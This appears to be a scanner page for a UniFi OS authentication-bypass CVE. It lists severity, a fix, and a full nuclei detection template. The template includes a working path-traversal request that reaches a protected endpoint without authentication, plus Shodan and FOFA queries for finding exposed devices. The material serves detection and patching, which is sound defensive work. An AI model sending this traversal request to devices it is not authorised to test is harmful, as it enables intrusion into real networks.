UniFi OS - Authentication Bypass via Path Traversal (..%2f)

Exploited in the wild. Listed by CISA on 2026-06-23; known to be used by ransomware.

criticalseverity

10CVSS score

88.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.

Impact

Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.

Fix

Update to the latest version of UniFi OS.

How to confirm it

Send: GET /
Positive when: contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')
Send: GET /proxy/users/api/v2/ucs/update/latest_package
Positive when: status_code == 401 || status_code == 403
Send: GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package
Positive when: status_code == 200 and contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')

Run it with nuclei: nuclei -id CVE-2026-34908 -u <target>

The full check

id: CVE-2026-34908

info:
  name: UniFi OS - Authentication Bypass via Path Traversal (..%2f)
  author: Boreas37
  severity: critical
  description: |
    UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.
  impact: |
    Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.
  remediation: |
    Update to the latest version of UniFi OS.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908
    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34908
    epss-score: 0.88899
    epss-percentile: 0.99779
    cwe-id: CWE-284
  metadata:
    max-request: 3
    verified: true
    shodan-query: 'http.title:"UniFi OS"'
    fofa-query: 'title="UniFi OS"'
  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')"
        internal: true

  - raw:
      - |
        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 401 || status_code == 403"
        internal: true

  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from